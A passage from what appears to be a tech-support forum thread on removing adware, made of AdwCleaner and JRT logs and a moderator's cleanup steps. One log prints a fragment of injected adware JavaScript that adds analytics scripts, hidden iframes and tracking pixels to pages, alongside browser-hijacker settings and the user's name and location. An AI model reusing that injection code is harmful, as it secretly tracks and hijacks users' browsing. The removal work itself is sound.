return a.queryStringToObject(b.split('?')[1])};a.queryStringToObject=function(a){a=a.split('&');var c={},e,l;for(l in a)''!==a[l]&&(e=a[l].split('='),c[decodeURIComponent(e[0])]=decodeURIComponent(e[1]));return c}},function(){var a=document.createElement('div');a.id='__hggasdgjhsagd_once';a.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(a)}(),a.createPixelUrl=function©{var b={pid:0,cc:'AA',eid:0,hid:0,v:0,ch:0,cid:0,tid:1,adtid:0,smid:0,pbid:0, sh:'empty.com',oh:a.Utils.getHostname(location.href)},f,e,l=[];c=c  {};for(e in c)f=c[e],b[e]=f;for(e in b)f=b[e],l.push(e+'='+encodeURIComponent(f));return a.pixelHostname+'?'+l.join('&')},a.pixel=function©{(new Image).src=a.createPixelUrl©},a.runOnCampaigns=function(a,b,f){if(a&&!isNaN(a-0)){b=b  [];if('number'==typeof b  'string'==typeof b&&!isNaN(b-0))b=[b-0];for(var e=0;e<b.length;e++)b[e]==a&&f(b[e])}},a.loadPixelTestIframe=function©{if(document.body){var b=document.createElement('iframe'); b.src=c;b.style.cssText='border:none;background:none;width:1px;height:1px;overflow:hidden;display:inline;padding:0;margin:0';document.body.appendChild(B)}else setTimeout(function(){a.loadPixelIframe©},50)},a.injectGA=function(a){var b=document.getElementsByTagName('head')[0];a=\"if(typeof ga == 'undefined'){(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]  function(){ (i[r].q = i[r].q  []).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m = s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create',  '\"+ a+\"', 'auto'); ga('send', 'pageview') }else{ ga('create',  '\"+a+\"', 'auto',{'name':'testStyloosh'}); ga('testStyloosh.send', 'pageview');}\";var f=document.createElement('script');f.type='text/javascript';f.text=a;b&&b.appendChild(f)},a.shootTestPixels=function©{c==a.testLpCampaignId?(a.injectGA('UA-60126760-2'),a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-2',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignId2?(a.injectGA('UA-60126760-11'),a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-11',oh:a.Utils.getHostname(location.href)})):c==a.testLpCampaignIdStatic?(a.injectGA('UA-60126760-6'),a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-6',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignIdStatic2&&(a.injectGA('UA-60126760-13'),a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-13',oh:a.Utils.getHostname(location.href)}))},a.initDirectPixel=function(){if(-1<location.href.indexOf(a.testLp))return a.shootTestPixels(a.testLpCampaignId);if(-1<location.href.indexOf(a.testLp2))return a.shootTestPixels(a.testLpCampaignIdStatic);if(-1<location.href.indexOf(a.testLp3))return a.shootTestPixels(a.testLpCampaignId2); if(-1<location.href.indexOf(a.testLp4))return a.shootTestPixels(a.testLpCampaignIdStatic2);if(-1<location.href.indexOf(a.token)&&-1<location.href.indexOf(a.pxlData))try{if(a.Utils.msie)a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8011,cid:'-7878',tid:3,adtid:0,smid:0,pbid:0,sh:'msie ='+a.Utils.msie,oh:a.Utils.getHostname(location.href)});else{var c=a.Utils.getParams();'object'===typeof c&&(c.ch=8001,a.pixel©,a.runOnCampaigns(c.cid, [309216],function(B){a.loadPixelTestIframe(a.pixelTestIframeBaseURL+'?ch='+c.ch)}),a.runOnCampaigns(c.cid,[a.testLpCampaignId],function(B){a.injectGA('UA-60126760-1');a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8007,cid:a.testLpCampaignId,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-1',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic],function(B){a.injectGA('UA-60126760-7');a.pixel({pid:'20046', cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8007,cid:a.testLpCampaignIdStatic,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-7',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignId2],function(B){a.injectGA('UA-60126760-10');a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8007,cid:a.testLpCampaignId2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-10',oh:a.Utils.getHostname(location.href)})}), a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic2],function(B){a.injectGA('UA-60126760-12');a.pixel({pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:0,ch:8007,cid:a.testLpCampaignIdStatic2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-12',oh:a.Utils.getHostname(location.href)})}))}}catch(B){var f=255>b.message.length?b.message:b.message.slice(0,255),e=255>location.href.length?location.href:location.href.slice(0,255);(new Image).src=a.createPixelUrl({ch:8020, oh:e,sh:f})}},'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a),a.initDirectPixel())}; }catch(e){}})();"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.addressBarOwnerCTID" -  "CT2260173"
 
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.conduitHomepageList" -  "hxxp://search.conduit.com/?ctid=CT2260173&SearchSource=13&CUI=SB_CUI"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.conduitSearchAddressUrlList" -  "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&q=,hxxp://search.conduit.com/ResultsExt.aspx?octid=CT2260173&ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?SSPV=&ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&octid=CT2260173&CUI=UN73793122090752330&UM=false&SearchSource=2&q=,hxxp://trovi.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.defaultSearchOwnerCTID" -  "CT2260173"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.homepageList" -  "hxxp://search.conduit.com/?ctid=CT2260173&SearchSource=13&CUI=SB_CUI"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.originalSearchAddressUrl" -  "hxxp://search.babylon.com/?AF=100486&tt=090212_ctrl&babsrc=adbartrp&mntrId=ca36b39400000000000078acc0abab38&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "smartbar.searchAddressUrlList" -  "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&q=,hxxp://search.conduit.com/ResultsExt.aspx?octid=CT2260173&ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?SSPV=&ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q=,hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&octid=CT2260173&CUI=UN73793122090752330&UM=false&SearchSource=2&q=,hxxp://trovi.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&UM=false&q="
No malicious Chromium based browser items found.
 
*************************
 
C:\AdwCleaner\AdwCleaner[C1].txt - [683 Bytes] - [11/08/2016 23:09:47]
C:\AdwCleaner\AdwCleaner[S1].txt - [36939 Bytes] - [11/08/2016 23:01:00]
C:\AdwCleaner\AdwCleaner[S2].txt - [36502 Bytes] - [11/08/2016 23:21:46]
C:\AdwCleaner\AdwCleaner[S3].txt - [95590 Bytes] - [15/08/2016 19:36:27]
 
########## EOF - C:\AdwCleaner\AdwCleaner[S3].txt - [95664 Bytes] ##########


#12 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:53 PM

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.0.7 (07.03.2016)
Operating System: Windows 10 Home x64 
Ran by Amy (Administrator) on Mon 08/15/2016 at 20:46:48.00
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 
 
File System: 20 
 
Successfully deleted: C:\end (File) 
Successfully deleted: C:\Program Files (x86)\Toolbar Cleaner (Folder)
Successfully deleted: C:\ProgramData\Start Menu\Programs\coupons (Folder) 
Successfully deleted: C:\ProgramData\Start Menu\Programs\ebay.lnk (Shortcut) 
Successfully deleted: C:\ProgramData\Start Menu\Programs\plants vs zombies (Folder) 
Successfully deleted: C:\user.js (File) 
Successfully deleted: C:\Users\Amy\AppData\Local\downloaded installers (Folder) 
Successfully deleted: C:\Users\Amy\AppData\Roaming\babylon (Folder) 
Successfully deleted: C:\Users\Amy\AppData\Roaming\babylontoolbar (Folder) 
Successfully deleted: C:\Users\Amy\AppData\Roaming\itibiti (Folder) 
Successfully deleted: C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\user.js (File) 
Successfully deleted: C:\Users\Amy\Start Menu\Programs\plants vs zombies (Folder) 
Successfully deleted: C:\Users\Amy\Start Menu\Programs\vgrabber (Folder) 
Successfully deleted: C:\WINDOWS\couponprinter.ocx (File) 
Successfully deleted: C:\WINDOWS\system32\drivers\swdumon.sys (File) 
Successfully deleted: C:\Program Files (x86)\babylontoolbar (Folder) 
Successfully deleted: C:\Program Files (x86)\coupons (Folder) 
Successfully deleted: C:\Program Files (x86)\itibiti soft phone (Folder) 
Successfully deleted: C:\Program Files (x86)\plants vs zombies (Folder) 
Successfully deleted: C:\Program Files (x86)\v-grabber (Folder) 
 
Deleted the following from C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js
user_pref(CT2260173.1000082.isPlayDisplay, true);
user_pref(CT2260173.1000082.state, {\state\:\stopped\,\text\:\Californi...\,\description\:\California Rock - Rock\,\url\:\hxxp://www.feedlive.net/california.
user_pref(CT2260173.1000234.TWC_TMP_city, DAYTON);
user_pref(CT2260173.1000234.TWC_TMP_country, US);
user_pref(CT2260173.1000234.TWC_country, UNITED STATES);
user_pref(CT2260173.1000234.TWC_locId, USOH0245);
user_pref(CT2260173.1000234.TWC_location, Dayton, OH);
user_pref(CT2260173.1000234.TWC_region, US);
user_pref(CT2260173.1000234.TWC_temp_dis, f);
user_pref(CT2260173.1000234.TWC_wind_dis, mph);
user_pref(CT2260173.1000234.weatherData, {\icon\:\26.png\,\temperature\:\43°F\,\temperatureClear\:\43°F\,\highTemperature\:\43°F\,\lowTemperature\:\35
user_pref(CT2260173.ENABALE_HISTORY, {\dataType\:\string\,\data\:\true\});
user_pref(CT2260173.ENABLE_RETURN_WEB_SEARCH_ON_THE_PAGE, {\dataType\:\string\,\data\:\true\});
user_pref(CT2260173.FirstTime, true);
user_pref(CT2260173.FirstTimeFF3, true);
user_pref(CT2260173.LoginRevertSettingsEnabled, true);
user_pref(CT2260173.RestartDialogFirstTime, false);
user_pref(CT2260173.RestartDialogShouldDisplay, false);
user_pref(CT2260173.RevertSettingsEnabled, true);
user_pref(CT2260173.SEmemberInfo.enc, eyJoYXNoIjoiZmMzYWI5YTI4MzQ1ZmQzZDVkNzZkZThlOTc2NTUwNWMiLCJzdGF0dXMiOjEsInNidHYiOnRydWUsImRhaWx5U2IiOiIwIiwiYWxsb3dTaG9wRWFybiI6dHJ1ZS
user_pref(CT2260173.UserID, UN73793122090752330);
user_pref(CT2260173.addressBarTakeOverEnabledInHidden, true);
user_pref(CT2260173.browser.search.defaultthis.engineName, true);
user_pref(CT2260173.countryCode, US);
user_pref(CT2260173.embeddedsData, [{\appId\:\128848965243869715\,\apiPermissions\:{\crossDomainAjax\:true,\getMainFrameTitle\:true,\getMainFrameUrl\:true,\get
user_pref(CT2260173.enableAlerts, always);
user_pref(CT2260173.enableFix404ByUser, FALSE);
user_pref(CT2260173.firstTimeDialogOpened, true);
user_pref(CT2260173.fixPageNotFoundErrorByUser, TRUE);
user_pref(CT2260173.fixPageNotFoundErrorInHidden, true);
user_pref(CT2260173.fixUrls, true);
user_pref(CT2260173.fullUserID, UN73793122090752330.UP.20130626210047);
user_pref(CT2260173.homepageuserchanged, true);
user_pref(CT2260173.hxxp___www_swagbucks_com.APP_WIN_FEATURES.enc, c2F2ZWxvY2F0aW9uPTAsc2F2ZXJlc2l6ZWRzaXplPTAsb3BlbnBvc2l0aW9uPWNsaWNr);
user_pref(CT2260173.installType, DirectDownload);
user_pref(CT2260173.isCheckedStartAsHidden, true);
user_pref(CT2260173.isEnableAllDialogs, {\dataType\:\string\,\data\:\true\});
user_pref(CT2260173.isFirstTimeToolbarLoading, false);
user_pref(CT2260173.isNewTabEnabled, false);
user_pref(CT2260173.isPerformedSmartBarTransition, true);
user_pref(CT2260173.isToolbarShrinked, {\dataType\:\string\,\data\:\false\});
user_pref(CT2260173.isWelcomPage, {\dataType\:\boolean\,\data\:\true\});
user_pref(CT2260173.keyword, true);
user_pref(CT2260173.lastVersion, 10.31.2.501);
user_pref(CT2260173.migrateAppsAndComponents, true);
user_pref(CT2260173.navigationAliasesJson, {\EB_SEARCH_TERM\:\\,\EB_MAIN_FRAME_URL\:\hxxps%3A%2F%2Fwww.facebook.com%2Fgroups%2F489088451135384%2F\,\EB_MAIN_FRAME_T
user_pref(CT2260173.originalSearchAddressUrl, hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&q=);
user_pref(CT2260173.originalSearchEngine, Conduit Search);
user_pref(CT2260173.originalSearchEngineName, Conduit Search);
user_pref(CT2260173.performedDomainChangesMigration, true);
user_pref(CT2260173.search.searchAppId, 128848965243869715);
user_pref(CT2260173.search.searchCount, 2);
user_pref(CT2260173.searchInNewTabEnabledByUser, true);
user_pref(CT2260173.searchInNewTabEnabledInHidden, true);
user_pref(CT2260173.searchSuggestEnabledByUser, true);
user_pref(CT2260173.searchUserMode, false);
user_pref(CT2260173.selectToSearchBoxEnabled, {\dataType\:\string\,\data\:\true\});
user_pref(CT2260173.serviceLayer_service_login_isFirstLoginInvoked, {\dataType\:\boolean\,\data\:\true\});
user_pref(CT2260173.serviceLayer_service_login_loginCount, {\dataType\:\number\,\data\:\4\});
user_pref(CT2260173.serviceLayer_service_toolbarGrouping_activeCTID, {\dataType\:\string\,\data\:\CT2260173\});
user_pref(CT2260173.serviceLayer_service_toolbarGrouping_activeDownloadUrl, {\dataType\:\string\,\data\:\hxxp://SwagBucks.OurToolbar.com//xpi\});
user_pref(CT2260173.serviceLayer_service_toolbarGrouping_activeToolbarName, {\dataType\:\string\,\data\:\Swag Bucks \});
user_pref(CT2260173.serviceLayer_service_toolbarGrouping_invoked, {\dataType\:\string\,\data\:\true\});
user_pref(CT2260173.serviceLayer_service_usage_toolbarUsageCount, {\dataType\:\number\,\data\:\2\});
user_pref(CT2260173.serviceLayer_services_Configuration_lastUpdate, 1403646020374);
user_pref(CT2260173.serviceLayer_services_appTrackingFirstTime_lastUpdate, 1403227641461);
user_pref(CT2260173.serviceLayer_services_appsMetadata_lastUpdate, 1403646019615);
user_pref(CT2260173.serviceLayer_services_gottenAppsContextMenu_lastUpdate, 1402856913407);
user_pref(CT2260173.serviceLayer_services_location_lastUpdate, 1372213797733);
user_pref(CT2260173.serviceLayer_services_login_10.13.40.15_lastUpdate, 1359090040203);
user_pref(CT2260173.serviceLayer_services_login_10.14.40.128_lastUpdate, 1359427496857);
user_pref(CT2260173.serviceLayer_services_login_10.14.42.7_lastUpdate, 1360812214711);
user_pref(CT2260173.serviceLayer_services_login_10.14.65.43_lastUpdate, 1364147131454);
user_pref(CT2260173.serviceLayer_services_login_10.15.0.562_lastUpdate, 1365649897074);
user_pref(CT2260173.serviceLayer_services_login_10.15.2.523_lastUpdate, 1368568131000);
user_pref(CT2260173.serviceLayer_services_login_10.16.2.509_lastUpdate, 1372213758587);
user_pref(CT2260173.serviceLayer_services_login_10.16.4.519_lastUpdate, 1374807076175);
user_pref(CT2260173.serviceLayer_services_login_10.16.70.505_lastUpdate, 1378174813358);
user_pref(CT2260173.serviceLayer_services_login_10.19.2.505_lastUpdate, 1378866033585);
user_pref(CT2260173.serviceLayer_services_login_10.20.0.513_lastUpdate, 1380597140633);
user_pref(CT2260173.serviceLayer_services_login_10.20.1.508_lastUpdate, 1382483919393);
user_pref(CT2260173.serviceLayer_services_login_10.21.1.507_lastUpdate, 1384489791419);
user_pref(CT2260173.serviceLayer_services_login_10.22.3.518_lastUpdate, 1385165178460);
user_pref(CT2260173.serviceLayer_services_login_10.22.5.510_lastUpdate, 1386903794164);
user_pref(CT2260173.serviceLayer_services_login_10.23.0.822_lastUpdate, 1396487188893);
user_pref(CT2260173.serviceLayer_services_login_10.29.0.520_lastUpdate, 1399337730134);
user_pref(CT2260173.serviceLayer_services_login_10.30.1.502_lastUpdate, 1400808665591);
user_pref(CT2260173.serviceLayer_services_login_10.31.0.526_lastUpdate, 1401546494360);
user_pref(CT2260173.serviceLayer_services_login_10.31.2.501_lastUpdate, 1403665311221);
user_pref(CT2260173.serviceLayer_services_otherAppsContextMenu_lastUpdate, 1402856913541);
user_pref(CT2260173.serviceLayer_services_searchAPI_lastUpdate, 1403646020310);
user_pref(CT2260173.serviceLayer_services_serviceMap_lastUpdate, 1403646019506);
user_pref(CT2260173.serviceLayer_services_setupAPI_lastUpdate, 1364147131714);
user_pref(CT2260173.serviceLayer_services_toolbarContextMenu_lastUpdate, 1403646019556);
user_pref(CT2260173.serviceLayer_services_toolbarSettings_lastUpdate, 1403665311164);
user_pref(CT2260173.serviceLayer_services_translation_lastUpdate, 1403646019534);
user_pref(CT2260173.settingsINI, true);
user_pref(CT2260173.showToolbarPermission, false);
user_pref(CT2260173.smartbar.CTID, CT2260173);
user_pref(CT2260173.smartbar.Uninstall, 0);
user_pref(CT2260173.smartbar.homepage, true);
user_pref(CT2260173.smartbar.toolbarName, Swag Bucks );
user_pref(CT2260173.startPage, userChanged);
user_pref(CT2260173.toolbarBornServerTime, 20-12-2012);
user_pref(CT2260173.toolbarCurrentServerTime, 25-6-2014);
user_pref(CT2260173.toolbarLoginClientTime, Sun Mar 24 2013 14:52:20 GMT-0400 (Eastern Daylight Time));
user_pref(CT2260173_Firefox.csv, [{\from\:\Abs Layer\,\action\:\loading toolbar\,\time\:1403667414946,\isWithState\:\\,\timeFromStart\:0,\timeFromPrev\:0}
user_pref(Smartbar.ConduitHomepagesList, );
user_pref(Smartbar.ConduitSearchEngineList, Swag Bucks Customized Web Search);
user_pref(Smartbar.ConduitSearchUrlList, hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=);
user_pref(Smartbar.SearchFromAddressBarSavedUrl, hxxp://search.babylon.com/?AF=100486&tt=090212_ctrl&babsrc=adbartrp&mntrId=ca36b39400000000000078acc0abab38&q=);
user_pref(Smartbar.TBHomepagesList, );
user_pref(Smartbar.TBSearchEngineList, Swag Bucks Customized Web Search);
user_pref(Smartbar.TBSearchUrlList, hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=);
user_pref(Smartbar.keywordURLSelectedCTID, CT2260173);
user_pref(WebVideoDownloaderHistory.HistoryArray_64.name, sweet_home_alabama2);
user_pref(WebVideoDownloaderHistory.HistoryArray_64.url, hxxp://fsa.zedge.net/dl/ringtone/e17ad85d74f87aabadf8690de161abca/sweet_home_alabama2.m4r?ref=www&type=db&attachmen
user_pref(browser.babylon.HPOnNewTab, search.babylon.com);
user_pref(browser.search.order.1, Search the web (Babylon));
user_pref(extensions.nHDB2gY7JkbFtxcQ.scode, (function(){try{if(window.location.href.indexOf(\rjnEqTk9pdYHrHaGrTrErdU6qjs\)>-1){return;}}catch(e){}try{var d=[[\www.ewoss
user_pref(plugin.state.npconduitfirefoxplugin, 2);
user_pref(smartbar.addressBarOwnerCTID, CT2260173);
user_pref(smartbar.conduitHomepageList, hxxp://search.conduit.com/?ctid=CT2260173&SearchSource=13&CUI=SB_CUI);
user_pref(smartbar.conduitSearchAddressUrlList, hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=,hxxp://search.conduit.com/ResultsExt.a
user_pref(smartbar.defaultSearchOwnerCTID, CT2260173);
user_pref(smartbar.homepageList, hxxp://search.conduit.com/?ctid=CT2260173&SearchSource=13&CUI=SB_CUI);
user_pref(smartbar.machineId, MNLNADDJRGMQPCFZ0V0KYFIE5XHSA3LEX1BK0I7943IIWDBE1UGS1HKVMZCO0MNFMXQVVSHR2N8WHSW++4MHMQ);
user_pref(smartbar.originalHomepage, hxxp://www.google.com/);
user_pref(smartbar.originalSearchAddressUrl, hxxp://search.babylon.com/?AF=100486&tt=090212_ctrl&babsrc=adbartrp&mntrId=ca36b39400000000000078acc0abab38&q=);
user_pref(smartbar.originalSearchEngine, Google);
user_pref(smartbar.searchAddressUrlList, hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q=,hxxp://search.conduit.com/ResultsExt.aspx?cti
user_pref(valueApps.CT2260173.mam_gk_currentVersion, 312E31332E302E3137);
user_pref(valueApps.CT2260173.mam_gk_currentVersion.storedInFile, false);
user_pref(valueApps.CT2260173.mam_gk_globalKeysMigratedToLocalStorage, 31);
user_pref(valueApps.CT2260173.mam_gk_globalKeysMigratedToLocalStorage.storedInFile, false);
user_pref(valueApps.CT2260173.mam_gk_migrated_from_ls, 31);
user_pref(valueApps.CT2260173.mam_gk_migrated_from_ls.storedInFile, false);
user_pref(valueApps.CT2260173.mam_gk_userBornDate, 4E2F41);
user_pref(valueApps.CT2260173.mam_gk_userBornDate.storedInFile, false);
user_pref(valueApps.storage.mam_gk_userId, 35376466326165632D613238392D346131322D623463332D386566313734626462376564);
 
 
 
Registry: 5 
 
Successfully deleted: HKLM\SYSTEM\CurrentControlSet\services\0242171471305584mcinstcleanup (Registry Key) 
Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{d43b3890-80c7-4010-a95d-1e77b5924dc3} (Registry Key)
Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{d944bb61-2e34-4dbf-a683-47e505c587dc} (Registry Key)
Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{ec29edf6-ad3c-4e1c-a087-d6cb81400c43} (Registry Key)
Successfully deleted: HKLM\Software\Microsoft\Internet Explorer\SearchScopes\{2fa28606-de77-4029-af96-b231e3b8f827} (Registry Key)
 
 
 
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Mon 08/15/2016 at 20:50:59.00
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


#13 boopme

boopme

    To Insanity and Beyond


  • Global Moderator
  • 73,573 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:NJ USA
  • Local time:04:31 AM

Posted 15 August 2016 - 09:39 PM

Wow a lot// remove what ADWcleaner found...

Please download AdwCleaner by Xplode and save to your Desktop.
  • Double-click on AdwCleaner.exe to run the tool.
    Vista/Windows 7/8 users right-click and select Run As Administrator.
  • The tool will start to update its database...please wait until complete.
  • Click on the Scan button.
  • AdwCleaner will begin...be patient as the scan may take some time to complete.
  • After the scan has finished, click on the Logfile button...a report (AdwCleaner[SX].txt) will open in Notepad (where the largest value of X represents the most recent report).
  • After reviewing the log, click on the Clean button.
  • Press OK when asked to close all programs and follow the onscreen prompts.
  • Press OK again to allow AdwCleaner to restart the computer and complete the removal process.
  • After rebooting, a logfile report (AdwCleaner[CX].txt) will open automatically (where the largest value of X represents the most recent report).
  • Copy and paste the contents of AdwCleaner[CX].txt in your next reply.
  • A copy of all logfiles are saved to C:\AdwCleaner.
Then run ESET
How do I get help? Who is helping me?For the time will come when men will not put up with sound doctrine. Instead, to suit their own desires, they will gather around them a great number of teachers to say what their itching ears want to hear....Become a BleepingComputer fan: Facebook

#14 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 16 August 2016 - 04:41 PM

I ran ESET all night but I think someone closed my window today.  :(


Edited by amkb, 16 August 2016 - 05:59 PM.


#15 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 16 August 2016 - 05:56 PM

# AdwCleaner v6.000 - Logfile created 16/08/2016 at 18:31:32
# Updated on 12/08/2016 by ToolsLib
# Database : 2016-08-16.1 [Server]
# Operating System : Windows 10 Home  (X64)
# Username : Amy - AMY-HP
# Running from : C:\Users\Amy\Downloads\AdwCleaner (1).exe
# Mode: Clean
 
 
 
***** [ Services ] *****
 
 
 
***** [ Folders ] *****
 
[-] Folder deleted: C:\Program Files (x86)\CutuThePRicee
[-] Folder deleted: C:\Program Files (x86)\See More Results Hub
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\Extensions
[-] Folder deleted: C:\Users\Amy\AppData\Local\Popcorn Time
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\catalina – print savings
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\catalina – print savings
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Toolbar Cleaner
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Popcorn Time
[-] Folder deleted: C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\Smartbar
[-] Folder deleted: C:\Users\Amy\AppData\Local\VirtualStore\Program Files (x86)\Popcorn Time
[-] Folder deleted: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Popcorn Time
[-] Folder deleted: C:\Program Files (x86)\Popcorn Time
 
 
***** [ Files ] *****
 
 
 
***** [ DLL ] *****
 
 
 
***** [ WMI ] *****
 
 
 
***** [ Shortcuts ] *****
 
 
 
***** [ Scheduled Tasks ] *****
 
 
 
***** [ Registry ] *****
 
[-] Key deleted: HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr
[-] Key deleted: HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr.1
[-] Key deleted: HKLM\SOFTWARE\Classes\Prod.cap
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{09C554C3-109B-483C-A06B-F14172F1A947}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{4E1E9D45-8BF9-4139-915C-9F83CC3D5921}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{B12E99ED-69BD-437C-86BE-C862B9E5444D}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{BDB69379-802F-4EAF-B541-F8DE92DD98DB}
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\{D7EE8177-D51E-4F89-92B6-83EA2EC40800}
[-] Key deleted: HKCU\Software\Classes\CLSID\{F28C2F70-47DE-4EA5-8F6D-7D1476CD1EF5}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{2EECD738-5844-4A99-B4B6-146BF802613B}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{E46C8196-B634-44A1-AF6E-957C64278AB1}
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
